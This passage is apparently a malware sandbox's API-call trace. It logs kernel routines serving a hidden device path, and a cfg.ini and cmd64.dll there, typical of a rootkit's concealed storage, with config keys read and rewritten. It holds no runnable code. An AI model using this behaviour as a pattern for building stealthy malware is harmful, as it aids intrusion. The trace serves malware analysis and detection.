ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0081.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.820] KeLeaveCriticalRegion () [0081.820] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.821] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.821] KeEnterCriticalRegion () [0081.821] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.821] ExFreePoolWithTag (P=0xfffffa80036a0eb0, Tag=0x0) [0081.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.821] KeLeaveCriticalRegion () [0081.821] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.821] ReleaseMutex (hMutex=0xf0) returned 1 [0081.821] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0081.821] GetPrivateProfileStringA (in: lpAppName="main", lpKeyName="rnd", lpDefault="*", lpReturnedString=0x1b260, nSize=0x3ff, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="*") returned 0x1 [0081.821] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.821] KeEnterCriticalRegion () [0081.821] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.821] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.821] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.821] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.821] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0081.821] IdePortDispatch () returned 0x103 [0081.821] KeWaitForMutexObject () returned 0x0 [0081.821] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.821] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0081.821] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0081.821] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0081.821] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80034fc7a0 [0081.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.821] KeLeaveCriticalRegion () [0081.821] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.821] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.821] KeEnterCriticalRegion () [0081.821] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.821] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.821] KeLeaveCriticalRegion () [0081.822] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.822] KeEnterCriticalRegion () [0081.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.822] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.822] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.822] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.822] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0081.822] IdePortDispatch () returned 0x103 [0081.822] KeWaitForMutexObject () returned 0x0 [0081.822] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.822] KeLeaveCriticalRegion () [0081.822] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.822] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.822] KeEnterCriticalRegion () [0081.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.822] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c93000 [0081.822] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.822] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.822] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.822] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0081.822] IdePortDispatch () returned 0x103 [0081.822] KeWaitForMutexObject () returned 0x0 [0081.823] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.823] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.823] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.823] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.823] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0081.823] IdePortDispatch () returned 0x103 [0081.823] KeWaitForMutexObject () returned 0x0 [0081.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.823] KeLeaveCriticalRegion () [0081.823] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.823] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.823] KeEnterCriticalRegion () [0081.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.824] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.824] KeLeaveCriticalRegion () [0081.824] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.824] KeEnterCriticalRegion () [0081.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.824] IoGetRequestorProcess (Irp=0xfffffa80034e8010) returned 0xfffffa80034fca60 [0081.824] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80034fe520, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0081.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.824] KeLeaveCriticalRegion () [0081.824] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.824] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.824] KeEnterCriticalRegion () [0081.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.824] ExFreePoolWithTag (P=0xfffffa80034fc7a0, Tag=0x0) [0081.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.824] KeLeaveCriticalRegion () [0081.824] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.824] ReleaseMutex (hMutex=0xf0) returned 1 [0081.824] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0081.824] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="nuh", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0081.824] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.824] KeEnterCriticalRegion () [0081.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.824] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.824] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.824] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.824] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0081.824] IdePortDispatch () returned 0x103 [0081.824] KeWaitForMutexObject () returned 0x0 [0081.824] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.824] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0081.825] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0081.825] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0081.825] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800368e2f0 [0081.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.825] KeLeaveCriticalRegion () [0081.825] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.825] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.825] KeEnterCriticalRegion () [0081.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.825] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.825] KeLeaveCriticalRegion () [0081.825] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.825] KeEnterCriticalRegion () [0081.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.825] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.825] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.825] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.825] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0081.825] IdePortDispatch () returned 0x103 [0081.825] KeWaitForMutexObject () returned 0x0 [0081.825] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.825] KeLeaveCriticalRegion () [0081.825] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.825] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.825] KeEnterCriticalRegion () [0081.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.825] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c95000 [0081.825] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.825] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.826] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.826] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0081.826] IdePortDispatch () returned 0x103 [0081.826] KeWaitForMutexObject () returned 0x0 [0081.826] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.826] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.826] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.826] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.826] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0081.826] IdePortDispatch () returned 0x103 [0081.826] KeWaitForMutexObject () returned 0x0 [0081.826] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.826] KeLeaveCriticalRegion () [0081.826] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.826] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.826] KeEnterCriticalRegion () [0081.826] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.826] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.826] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.826] KeLeaveCriticalRegion () [0081.826] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.827] KeEnterCriticalRegion () [0081.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.827] IoGetRequestorProcess (Irp=0xfffffa80034e8010) returned 0xfffffa80034fca60 [0081.827] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80034fd840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0081.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.827] KeLeaveCriticalRegion () [0081.827] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.827] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.827] KeEnterCriticalRegion () [0081.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.827] ExFreePoolWithTag (P=0xfffffa800368e2f0, Tag=0x0) [0081.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.827] KeLeaveCriticalRegion () [0081.827] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.827] ReleaseMutex (hMutex=0xf0) returned 1 [0081.827] SystemTimeToFileTime (in: lpSystemTime=0x151eb90, lpFileTime=0x151f4b8 | out: lpFileTime=0x151f4b8) returned 1 [0081.827] RtlTimeToSecondsSince1970 (in: Time=0x151f4b8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0081.827] sprintf (in: _Dest=0x1ba60, _Format="%u" | out: _Dest="1481016974") returned 10 [0081.827] GetTickCount () returned 0x670b [0081.827] RtlRandom (in: Seed=0x1ef20 | out: Seed=0x1ef20) returned 0x9101613 [0081.827] RtlRandom (in: Seed=0x1ef20 | out: Seed=0x1ef20) returned 0x6214ad3f [0081.827] RtlRandom (in: Seed=0x1ef20 | out: Seed=0x1ef20) returned 0x60415a8a [0081.827] sprintf (in: _Dest=0x1b260, _Format="%u" | out: _Dest="2040373303") returned 10 [0081.827] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0081.827] WritePrivateProfileStringA (lpAppName="main", lpKeyName="rnd", lpString="2040373303", lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 1 [0081.827] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.827] KeEnterCriticalRegion () [0081.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.827] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.827] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.827] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.827] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0081.828] IdePortDispatch () returned 0x103 [0081.828] KeWaitForMutexObject () returned 0x0 [0081.828] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.828] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0081.828] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0081.828] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0081.828] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800369f890 [0081.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.828] KeLeaveCriticalRegion () [0081.828] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.828] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.828] KeEnterCriticalRegion () [0081.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.828] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.828] KeLeaveCriticalRegion () [0081.828] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.828] KeEnterCriticalRegion () [0081.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.828] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.828] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.828] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.828] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0081.828] IdePortDispatch () returned 0x103 [0081.828] KeWaitForMutexObject () returned 0x0 [0081.828] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.829] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.829] KeLeaveCriticalRegion () [0081.829] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.829] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.829] KeEnterCriticalRegion () [0081.829] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.829] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c98000 [0081.829] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.829] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.829] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.829] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0081.829] IdePortDispatch () returned 0x103 [0081.829] KeWaitForMutexObject () returned 0x0 [0081.829] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.829] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.829] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.829] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.829] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0081.829] IdePortDispatch () returned 0x103 [0081.829] KeWaitForMutexObject () returned 0x0 [0081.832] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.832] KeLeaveCriticalRegion () [0081.832] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.832] _snprintf (in: _Dest=0xfffff880028b2760, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.832] KeEnterCriticalRegion () [0081.832] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.832] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff88000000010) returned 0xfffff88002c9e056 [0081.832] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.832] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1270, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.832] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.832] KeInitializeEvent (in: Event=0xfffff880028b2580, Type=0x0, State=0 | out: Event=0xfffff880028b2580) [0081.832] IdePortDispatch () returned 0x103 [0081.832] KeWaitForMutexObject () returned 0x0 [0081.832] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.832] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.832] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.832] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.832] KeInitializeEvent (in: Event=0xfffff880028b2580, Type=0x0, State=0 | out: Event=0xfffff880028b2580) [0081.832] IdePortDispatch () returned 0x103 [0081.832] KeWaitForMutexObject () returned 0x0 [0081.833] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.833] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.833] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.833] KeInitializeEvent (in: Event=0xfffff880028b2550, Type=0x0, State=0 | out: Event=0xfffff880028b2550) [0081.833] IdePortDispatch () returned 0x103 [0081.833] KeWaitForMutexObject () returned 0x0 [0081.833] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.833] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1270, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.833] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.833] KeInitializeEvent (in: Event=0xfffff880028b25f0, Type=0x0, State=0 | out: Event=0xfffff880028b25f0) [0081.833] IdePortDispatch () returned 0x103 [0081.833] KeWaitForMutexObject () returned 0x0 [0081.833] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.833] KeLeaveCriticalRegion () [0081.833] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.833] _snprintf (in: _Dest=0xfffff880028b27b0, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.833] KeEnterCriticalRegion () [0081.833] ExAcquireFastMutexUnsafe (in: 